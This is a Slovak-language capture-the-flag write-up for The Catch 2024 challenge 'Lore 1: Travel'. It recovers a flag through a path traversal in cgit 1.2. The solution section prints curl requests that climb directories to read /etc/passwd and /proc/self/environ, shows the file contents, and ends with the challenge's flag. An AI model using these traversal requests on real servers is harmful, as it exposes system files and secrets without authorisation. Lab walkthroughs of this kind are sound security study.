CTF - The Catch 2024 - Lore 1: Travel

 Poznáte ten pocit, keď ešte aj po náročnej šichte v práci snívate o tom, ako riešite zapeklité pracovné problémy. Pomôžme kolegovi v náročnom svete, kde je problém rozlíšiť realitu od sna.

V prvej kapitole, nazvanej cestovanie, máme ako aj v ostatných krátku báseň a jeden link.

1 Travel (cestovanie)

In the gentle sway,  (v jemnom kolísaní)
Seeking calm within the storm,  (hľadá pokoj v búrke)
A path unfolds clear.  (cesta sa otvára jasná)

Footsteps brave the tide,  (kroky vzdorujú prílivu)
Guided by a steadfast light,  (vedená stálym svetlom)
Through trials we stride.  (cez skúšky kráčame)

Vstupný bod do "LORE" sveta je  http://intro.lore.tcc

Po otvorení linky http://intro.lore.tcc vidím básne pre 4 levely LORE, s linkami.
Prvý level má link: http://cgit.lore.tcc/cgit.cgi

CGIT, čo je CGI webový frontend pre verzionovací nástroj GIT, je napísaný v C a veľmi rýchly. Hlási, že prístup je len pre autorizovaných - v html zdrojáku ale vidieť zakomentovaný kód, ukazujúci cgit.cgi podstránku.

Otvorím si http://cgit.lore.tcc/cgit.cgi

Heslá / vlajku tam nikde v historií zmien nevidím - žeby ten zdrojový kód pre "samweb" bežal niekde na serveri a dalo sa tam pozrieť?

Skúsim k sebe naklonovať repozitár, či niečo nedopátram lokálne.

git clone http://cgit.lore.tcc/cgit.cgi/sam-operator ./

V zdrojákoch som našiel kubernetes/app.yaml súbor, ktorý odkazuje aj na web sam.lore.tcc,

service name: sam-web

Otvorím si http://sam.lore.tcc

Je tam formulár a dá sa zadať meno, kapacita a poziadať.

Podľa zdrojáku 00-hook.py skúsim zadať do požiadavky názov "secret" a web vráti:

Project status

{"name": "secret", "quota": "1GB", "storage": "storage-hal-03", "txid": "fb5ed10aa80bdcfbf4a3020b3c5f33ad"}

{"access_token": "ZDhjNjlmMGQwNGE2MTQ3OGIxOTg2ZWMxM2Q2ODYzYjg3ZjE5YjZlYg==", "quota": "MUdC", "storage": "c3RvcmFnZS1oYWwtMDM="}

Po preložení base64 a rýchlom štúdiu kódu to vyzerá, že berie txid hodnotu z cookie a pre neho v /status vráti aj secret, ak tam je nejaký. Keďže na txid hodnotu nemám dosah, tu som sa zasekol. Pravdepodobne ide o problém riešený v neskoršej úlohe.

Riešenie

Vo verzii 1.2 CGITu je security chyba - path traversal, stačí dostatočne veľa krát vyliezť o adresár vyššie a môžem pozerať akýkoľvek súbor na FS kam mám práva.

$ curl http://cgit.lore.tcc/cgit.cgi/foo/objects/?path=../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Flag tu nie je, ani flag.txt, pozriem si preto premenné prostredia - cez súbor /proc/self/envrion, je to síce nie priamo textový súbor, ale ako vidieť dá sa to riešiť a vypísať čitateľné reťazce:

$ curl http://cgit.lore.tcc/cgit.cgi/foo/objects/?path=../../../proc/self/environ
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal
Warning: anyway, or consider "--output <FILE>" to save to a file.

$ curl http://cgit.lore.tcc/cgit.cgi/foo/objects/?path=../../../proc/self/environ --output - | strings

Hneď prvý riadok je premenná s vlajkou:  FLAG=FLAG{FiqE-rPQL-pUV4-daQt}